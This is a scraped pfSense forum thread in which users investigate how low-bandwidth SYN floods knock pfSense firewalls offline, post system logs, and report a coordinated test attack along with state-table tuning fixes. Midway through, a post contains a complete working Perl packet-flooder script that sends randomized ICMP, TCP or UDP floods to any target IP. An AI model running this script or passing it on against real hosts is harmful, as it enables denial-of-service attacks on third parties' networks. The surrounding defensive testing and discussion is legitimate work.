What is the biggest attack in GBPS you stopped
-
I am getting "500 Internal Server Error nginx" when I am posting to your reply. So, I put my findings on paste bin here which is very interesting:
http://pastebin.com/CRGh1hHTDid your WAN IP address change during this event? Do you have a static IP?
The DHCP service is exiting with an error 1, is this a persistent error in your logs?
-
I am getting "500 Internal Server Error nginx" when I am posting to your reply. So, I put my findings on paste bin here which is very interesting:
http://pastebin.com/CRGh1hHTDid your WAN IP address change during this event? Do you have a static IP?
The DHCP service is exiting with an error 1, is this a persistent error in your logs?
This was a pfsense forum issue and I think it was related to length of the message or content of the logs as it didn't give me the error with less content.
-
I am getting "500 Internal Server Error nginx" when I am posting to your reply. So, I put my findings on paste bin here which is very interesting:
http://pastebin.com/CRGh1hHTDid your WAN IP address change during this event? Do you have a static IP?
The DHCP service is exiting with an error 1, is this a persistent error in your logs?
This was a pfsense forum issue and I think it was related to length of the message or content of the logs as it didn't give me the error with less content.
This was the first line that caught my attention:
May 18 15:48:22 php-fpm[66325]: /rc.newwanip: pfSense package system has detected an IP change or dynamic WAN reconnection - 174.95.93.119 -> 70.49.231.165 - Restarting packages.From there most of the errors are due to the interface trying to grab another DHCP lease, complaining that it has a conflict, and then eventually it get assigned an IP address.
Could this issue be related to the external DHCP leases granted by ISPs? Is it possible to force pfSense's DHCP service to think it doesn't have an IP address assigned and cause the service to try and grab a new lease over and over again? Is this even possible with a pure SYN flood?
Has anyone tested this with a static IP?
-
Talking of DHCP, mine is going all crazy on WAN…
dhclient[21355]: Many bogus options seen in offers. Taking this offer in spite of bogus options - hope for the best!
dhclient[21355]: option nisplus-servers (100) larger than buffer.
dhclient[9876]: rejecting bogus offer.
dhclient[9876]: option option-97 (100) larger than buffer.
dhclient[90315]: rejecting bogus offer.
dhclient[90315]: option streettalk-directory-assistance-server (97) larger than buffer.
dhclient[2514]: rejecting bogus offer.
dhclient[2514]: option option-109 (111) larger than buffer.
dhclient[57118]: rejecting bogus offer.
dhclient[57118]: option nntp-server (105) larger than buffer.
dhclient[99613]: rejecting bogus offer.
dhclient[99613]: option routers (81) larger than buffer.
dhclient[35967]: rejecting bogus offer.
dhclient[35967]: option option-82 (97) larger than buffer.None of those were solicitated/initiated by me.
Something is wrong.
"hope for the best!"F.
-
This is what I have in the logs during the initial phases of a SYN flood.
May 19 05:39:27 php-fpm[13762]: /rc.filter_configure_sync: Could not find IPv6 gateway for interface (wan).
May 19 05:39:11 php-fpm[13762]: /rc.filter_configure_sync: Not installing NAT reflection rules for a port range > 500
May 19 05:39:10 check_reload_status: Reloading filter
May 19 05:39:10 check_reload_status: Restarting OpenVPN tunnels/interfaces
May 19 05:39:10 check_reload_status: Restarting ipsec tunnels
May 19 05:39:10 check_reload_status: updating dyndns Yousee
May 19 05:39:10 check_reload_status: Reloading filter
May 19 05:39:10 check_reload_status: Restarting OpenVPN tunnels/interfaces
May 19 05:39:10 check_reload_status: Restarting ipsec tunnels
May 19 05:39:10 check_reload_status: updating dyndns YouseeIt keeps going on and on…
-
From there most of the errors are due to the interface trying to grab another DHCP lease, complaining that it has a conflict, and then eventually it get assigned an IP address.
Could this issue be related to the external DHCP leases granted by ISPs? Is it possible to force pfSense's DHCP service to think it doesn't have an IP address assigned and cause the service to try and grab a new lease over and over again? Is this even possible with a pure SYN flood?
Has anyone tested this with a static IP?
I am not sure if this was related as I was connecting DSL and disconnecting during test. I would say ignore DHCP logs safely…
-
More
May 19 05:44:58 php-fpm[72908]: /rc.filter_configure_sync: Could not find IPv6 gateway for interface (wan).
May 19 05:44:48 php-fpm[72908]: /rc.filter_configure_sync: Not installing NAT reflection rules for a port range > 500
May 19 05:44:37 php-fpm[54722]: /rc.filter_configure_sync: Could not find IPv6 gateway for interface (wan).
May 19 05:44:27 php-fpm[54722]: /rc.filter_configure_sync: Not installing NAT reflection rules for a port range > 500
May 19 05:44:16 php-fpm[53745]: /rc.filter_configure_sync: Could not find IPv6 gateway for interface (wan).
May 19 05:44:06 php-fpm[53745]: /rc.filter_configure_sync: Not installing NAT reflection rules for a port range > 500
May 19 05:43:55 php-fpm[19437]: /rc.filter_configure_sync: Could not find IPv6 gateway for interface (wan).
May 19 05:43:45 php-fpm[19437]: /rc.filter_configure_sync: Not installing NAT reflection rules for a port range > 500
May 19 05:43:34 php-fpm[72908]: /rc.filter_configure_sync: Could not find IPv6 gateway for interface (wan).
May 19 05:43:24 php-fpm[72908]: /rc.filter_configure_sync: Not installing NAT reflection rules for a port range > 500
May 19 05:43:13 php-fpm[54722]: /rc.filter_configure_sync: Could not find IPv6 gateway for interface (wan).
May 19 05:43:03 php-fpm[54722]: /rc.filter_configure_sync: Not installing NAT reflection rules for a port range > 500
May 19 05:43:02 check_reload_status: Reloading filter
May 19 05:43:02 check_reload_status: Restarting OpenVPN tunnels/interfaces
May 19 05:43:02 check_reload_status: Restarting ipsec tunnels
May 19 05:43:02 check_reload_status: updating dyndns Yousee
May 19 05:43:02 check_reload_status: Reloading filter
May 19 05:43:02 check_reload_status: Restarting OpenVPN tunnels/interfaces
May 19 05:43:02 check_reload_status: Restarting ipsec tunnels
May 19 05:43:02 check_reload_status: updating dyndns Yousee
May 19 05:40:57 php-fpm[53745]: /rc.filter_configure_sync: Could not find IPv6 gateway for interface (wan).
May 19 05:40:55 check_reload_status: Reloading filter
May 19 05:40:55 check_reload_status: Restarting OpenVPN tunnels/interfaces
May 19 05:40:55 check_reload_status: Restarting ipsec tunnels
May 19 05:40:55 check_reload_status: updating dyndns Yousee
May 19 05:40:50 check_reload_status: Reloading filter
May 19 05:40:50 check_reload_status: Restarting OpenVPN tunnels/interfaces
May 19 05:40:50 check_reload_status: Restarting ipsec tunnels
May 19 05:40:50 check_reload_status: updating dyndns Yousee
May 19 05:40:47 php-fpm[53745]: /rc.filter_configure_sync: Not installing NAT reflection rules for a port range > 500
May 19 05:40:31 php-fpm[19437]: /rc.filter_configure_sync: Could not find IPv6 gateway for interface (wan).
May 19 05:40:25 check_reload_status: Reloading filter
May 19 05:40:25 check_reload_status: Restarting OpenVPN tunnels/interfaces
May 19 05:40:25 check_reload_status: Restarting ipsec tunnels
May 19 05:40:25 check_reload_status: updating dyndns Yousee
May 19 05:40:24 check_reload_status: Reloading filter
May 19 05:40:24 check_reload_status: Restarting OpenVPN tunnels/interfaces
May 19 05:40:24 check_reload_status: Restarting ipsec tunnels
May 19 05:40:24 check_reload_status: updating dyndns Yousee
May 19 05:40:15 php-fpm[19437]: /rc.filter_configure_sync: Not installing NAT reflection rules for a port range > 500
May 19 05:40:07 check_reload_status: Reloading filter
May 19 05:40:07 check_reload_status: Restarting OpenVPN tunnels/interfaces
May 19 05:40:07 check_reload_status: Restarting ipsec tunnels
May 19 05:40:07 check_reload_status: updating dyndns Yousee
May 19 05:39:59 check_reload_status: Reloading filter
May 19 05:39:59 check_reload_status: Restarting OpenVPN tunnels/interfaces
May 19 05:39:59 check_reload_status: Restarting ipsec tunnels
May 19 05:39:59 check_reload_status: updating dyndns Yousee
May 19 05:39:57 php-fpm[19082]: /rc.filter_configure_sync: Could not find IPv6 gateway for interface (wan).
May 19 05:39:44 php-fpm[19082]: /rc.filter_configure_sync: Not installing NAT reflection rules for a port range > 500 -
Supermule 'Morning,
What procedure do you use to ensure only 2-3 or 5-6 mbps of bandwidth is used during attack? From your signature, it seems like you have a Google fiber or some other Gigabit internet connection.
-
I use my home connection and not my datacenter for this :)
My home upload is not that fast…
-
CMB accused me of beeing the guy behind the forum downtime yesterday.
That saddened me…
Just because I say and keep saying that there is a major flaw in the way pf handles packets, then I must be the guy taking the forum down. :(
He asked for pcaps and I told him they were available for download in this thread. Didnt hear from him again.
I need to get somebody with the right debugging tools involved in this.
https://forum.pfsense.org/index.php?topic=91856.msg517232#msg517232
I sadly can not participate in this little experiment due to only having 5MB download, but would be interested to see the data generated by the scripts none the less, so Supermule if you dont mind sharing the script via pm, I'd be curious to see what it generates to see what patterns are observed over a closed network between a couple of machines.
I might be able to help but no promises and the flamegraphs mentioned earlier in this thread probably wont help debug this problem either, but thats my opinion, this could even be a BIOS issue but until I get my hands on a script that can trigger this sort of thing, I cant say for sure I can only speculate theoretically speaking at this stage.
-
The kind Doktor apparently didnt notice that….
A lot of scripts are emerging right now that has these capabilites built in. That makes pfsense compeletely useless for any that hosts public services if a 3mbit DDoS can bring it down and take slave and 3rd links down as well.
What do you consider it to be on a scale of 1-10 if EVERYBODY can be taken offline instantly by scripts that is everybodys for the taking in a not so distant future.
What would happen to the forum if one is pissed on some of the devs or fort that matter somebody else?
Take it offline as long as they like…. the netgate store and everything else related to ESF can be gone in seconds.
OPNSense responds better (35 seconds) before its taken offline. Pfsense takes 1-2 seconds.
Make up your own mind...
PM me some links so I can inspect them please.
-
Its been 3+ months since this was forwarded to the devs by Lowprofile and me.
There has been NOTHING other than scattered emails and one PM to me about pcaps from CMB and he could get it since its in this thread.
I find that fact pretty scary since people buy commercial support and gold memberships to support the project.
But when its really needed, everything went quiet and almost no responde other than accusations of me bringing down the forum.
I would love to help out, but I am not a freebsd/linux guru and I cannot provide anything besides point out there is an issue, trying to enlighten people and show how it affects pfsense and other firewall distros.
Thats why I ask for testers and help from people like Doktornotor since I know he is a dev. and all I get is shit from him.
I have promised not to spread the script since as it is, it can take down any firewall running pfsense and other OS'.
Its like having a dirty bomb and people asking for copies, than all hell breaks lose.
What else can I do to draw attention to this and have a response to the issue?
You wont get this problem fixed quickly then.
BTW SYN floods if this is what is being alluded to have been around since 1996 according to Cisco. http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_9-4/syn_flooding_attacks.html
http://en.wikipedia.org/wiki/SYN_floodJust because someone says they are a dev doesnt make them a good dev either. Demonstrating one's knowledge is usually a good way to proceed and as Pfsense is opensource, in theory the argument for a dirty bomb is negated by virtue of the nature of opensource software.
-
I am getting "500 Internal Server Error nginx" when I am posting to your reply. So, I put my findings on paste bin here which is very interesting:
http://pastebin.com/CRGh1hHTDid your WAN IP address change during this event? Do you have a static IP?
The DHCP service is exiting with an error 1, is this a persistent error in your logs?
This was a pfsense forum issue and I think it was related to length of the message or content of the logs as it didn't give me the error with less content.
This was the first line that caught my attention:
May 18 15:48:22 php-fpm[66325]: /rc.newwanip: pfSense package system has detected an IP change or dynamic WAN reconnection - 174.95.93.119 -> 70.49.231.165 - Restarting packages.From there most of the errors are due to the interface trying to grab another DHCP lease, complaining that it has a conflict, and then eventually it get assigned an IP address.
Could this issue be related to the external DHCP leases granted by ISPs? Is it possible to force pfSense's DHCP service to think it doesn't have an IP address assigned and cause the service to try and grab a new lease over and over again? Is this even possible with a pure SYN flood?
Has anyone tested this with a static IP?
This thread from the beta testing might be relevant to your line of thought with regard to problems arising when the IP addresses are reset by the ISP's.
"still having to delete entries from the state table"
https://forum.pfsense.org/index.php?topic=86087.0 -
INteresting!
-
@Supermule, I dont see a PM so I'm guessing you dont want to share the script in a bid to potentially solve the problem. Correct?
-
We are conducting some testing now with interesting results. Will post more when we're done.
-
#!/usr/bin/perl -w
=================================================
simple network flooder script
takes type of flood (icmp, tcp, udp) as param
optionally takes dest ip and packet count
=================================================
my $VERSION = 0.5;
=================================================
use strict;
use Net::RawIP;my $flood = shift or &usage();
my $dstip = shift || '127.0.0.1';
my $pktct = shift || 100;&icmpflood($dstip, $pktct) if $flood =~ 'icmp';
&tcpflood($dstip, $pktct) if $flood =~ 'tcp';
&udpflood($dstip, $pktct) if $flood =~ 'udp';sub icmpflood() {
my($dstip, $pktct, $code, $type, $frag);
$dstip = shift;
$pktct = shift;print "\nstarting flood to $dstip\n";
for(my $i=0; $i <= $pktct; $i++) {$code = int(rand(255));
$type = int(rand(255));
$frag = int(rand(2));my $packet = new Net::RawIP({
ip => {
daddr => $dstip,
frag_off => $frag,
},
icmp => {
code => $code,
type => $type,
}
});$packet->send;
print "sent icmp $type->$code, frag: $frag\n";
}
print "\nflood complete\n\n";
}sub tcpflood() {
my($dstip, $pktct, $sport, $dport, $frag, $urg, $psh, $rst, $fin,
$syn, $ack);
$dstip = shift;
$pktct = shift;
print "\nstarting flood to $dstip\n";
for(my $i=0; $i <= $pktct; $i++) {$sport = int(rand(65535));
$dport = int(rand(65535));
$frag = int(rand(2));
$urg = int(rand(2));
$psh = int(rand(2));
$rst = int(rand(2));
$fin = int(rand(2));
$syn = int(rand(2));
$ack = int(rand(2));my $packet = new Net::RawIP({
ip => {
daddr => $dstip,
frag_off => $frag,
},
tcp => {
source => $sport,
dest => $dport,
urg => $urg,
psh => $psh,
rst => $rst,
fin => $fin,
syn => $syn,
ack => $ack,
}
});$packet->send;
print "sent tcp packet from $sport to $dport, frag: $frag, psh:
$psh, rst: $rst, fin: $fin, syn: $syn, ack: $ack\n";
}
print "\nflood complete\n\n";
}sub udpflood() {
my($dstip, $pktct, $sport, $dport, $frag);
$dstip = shift;
$pktct = shift;print "\nstarting flood to $dstip\n";
for(my $i=0; $i <= $pktct; $i++) {$sport = int(rand(255));
$dport = int(rand(255));
$frag = int(rand(2));my $packet = new Net::RawIP({
ip => {
daddr => $dstip,
frag_off => $frag,
},
udp => {
source => $sport,
dest => $dport,
}
});$packet->send;
print "sent udp packet from $sport to $dport, frag: $frag\n";
}
print "\nflood complete\n\n";
}sub usage() {
print "
need to set a valid flood type (one of icmp, tcp, udp)
optionally set dest ip and packetcountexample:
$0 [tcp udp icmp] \n\n";
exit 0;
} -
Here is some data from the attack that Supermule, almabes, and I coordinated today.
The initial SYN flood attack disabled my WAN2 interface and brought my pfSense box to a crawl. However, I had the console running and saw this:
This was easy to fix by increasing the amount of states. My pfSense installation is set to the default limit of 394000, so I first increased it to 4,000,000 and then to 8,000,000. After doing that, the pfSense box responded fine. I have 4 NICs in the box—WAN1, WAN2, LAN1, and LAN2. The attack was on WAN2, and all other interfaces and pfSense worked perfectly normal while WAN2 went down hard.
Here is part of the Skype transcript with some real-time metrics:
[5/23/15, 5:03:12 PM] Tim McManus: Ok [5/23/15, 5:03:25 PM] Tim McManus: UI is good. [5/23/15, 5:03:37 PM] Tim McManus: Wan1 good. [5/23/15, 5:03:53 PM] Tim McManus: 4mbit attack. [5/23/15, 5:04:21 PM] Tim McManus: 3M states. [5/23/15, 5:04:43 PM] Tim McManus: 3.2M states. [5/23/15, 5:05:07 PM] Tim McManus: Wan2 dead. [5/23/15, 5:05:15 PM] Tim McManus: Wan1 fine. [5/23/15, 5:06:42 PM] Tim McManus: Wan2 is crushed. 700ms Rtt ping. Normally 30ms tops. [5/23/15, 5:06:58 PM] Tim McManus: But the box is running fine. [5/23/15, 5:07:06 PM] Tim McManus: 4M states. [5/23/15, 5:07:22 PM] Tim McManus: UI is fine. [5/23/15, 5:07:48 PM] Tim McManus: UI is real fast. [5/23/15, 5:08:03 PM] Tim McManus: Just bumped states to 8M. [5/23/15, 5:08:22 PM] Tim McManus: Ping is now 13 ms. [5/23/15, 5:08:36 PM] Tim McManus: 115 me it incoming wan2. [5/23/15, 5:08:41 PM] Tim McManus: Mbit [5/23/15, 5:09:18 PM] Tim McManus: Wan2 is slower but working fine. [5/23/15, 5:10:26 PM] Tim McManus: 4.7M states. [5/23/15, 5:10:39 PM] Tim McManus: Rtt is 160ms. [5/23/15, 5:10:53 PM] Tim McManus: Wan2 down. [5/23/15, 5:11:04 PM] Tim McManus: Back [5/23/15, 5:11:09 PM] Tim McManus: Rtt 900 ms. [5/23/15, 5:11:28 PM] Tim McManus: 4.8M states. [5/23/15, 5:11:56 PM] Tim McManus: 4mbit incoming. [5/23/15, 5:12:33 PM] Tim McManus: High latency alert on the UI. [5/23/15, 5:13:13 PM] Tim McManus: Wan2 down. Wan1 fine. [5/23/15, 5:14:28 PM] Tim McManus: UI has been fine since I increased the state table.The console looked like this through the attack:
Although the box was crippled from the Web UI, the console worked fine. However, the initial attack took out all of the graphing and it looks like historical RRD graphs were also affected. I have a gap from when the attack started until after I rebooted the box. Those services did not come back online. The box was rebooted a couple of hours after the attack. Graphing shows that gap.
I have additional data and metrics from my OpenNMS monitoring box as well as my AllGraphs and system logs. The development team is more than welcome to PM me for them, but at this point I'm not going to publicly she them. It seems like the attack will saturate PF states and significantly impairs the box, but increasing the amount of states allows the box to stay up while the interface is taken down.
We will probably do some additional testing, but this is my quick summary of what we discovered.
It is important to note that I have 4 x 1Gb NICs, an i3, and 4GB of RAM. I can list all of the details of this box and the topology in another post if anyone is interested. We were also running Wireshark during the test, and I have some, but not all, packet captures from that. That was a useful tool to see when an interface was being attacked and by what method.
-
Can someone give a proper summary of what the problem actually is so others don't have to wade through 20+ pages to find the info?
Specifically: Is the traffic in question actually passed, or blocked? Is a service on the firewall running pfSense (such as the GUI) exposed to the test source or is the traffic being passed through to an internal host (port forward, routed, etc)? – This is important because a SYN flood to pfSense as a host is completely different than a flood through pfSense as a forwarder/firewall.
If the traffic is passing through the firewall, using rules to clamp down state limits, or going stateless properly (floating quick OUT rules to pass out with no state along with the pass in rules on the other tabs) may help.
If the traffic is targeting the firewall itself, then there are things that can be tweaked (syncache parameters, for example), but it's yet another reason the services on the firewall such as the GUI and SSH should not be exposed to the Internet in general. State limits can help there as well.
Also the "size" of an attack in Mbit/s or Gbit/s is not as important to know as the PPS rate which tends to be the limiting factor when dealing with small packets such as this.
Some answers to your questions based on today's testing:
Is the traffic in question actually passed, or blocked? Both. It was mostly blocked but the SYN flood was stopped. There were several different kinds of attacks, but the SYN was blocked.
Is a service on the firewall running pfSense (such as the GUI) exposed to the test source or is the traffic being passed through to an internal host (port forward, routed, etc)? Traffic was focused on the external IP to ports 80 and 443. No services were exposed on either WAN interface. The external IP of WAN2 forwarded ports 80 and 443 to an internal address running a web server.
This is important because a SYN flood to pfSense as a host is completely different than a flood through pfSense as a forwarder/firewall. I believe, but cannot be certain, that when my WAN1 interface was attacked with the same SYN flood we had the same issue. WAN1 does not forward any ports. I didn't have Wireshark running at this time on that interface, but we can always retest.
-
I don't know if they were the same tests, but my i5 3.2ghz i350-T2 NIC took tens of megabits. I didn't think to have my console on, so I don't know if there was an interrupt storm. The i350 seems to be really good at keeping interrupts low I don't know how, but the interrupt rate is pretty much identical between load and idle during normal usage. But not sure under the attack.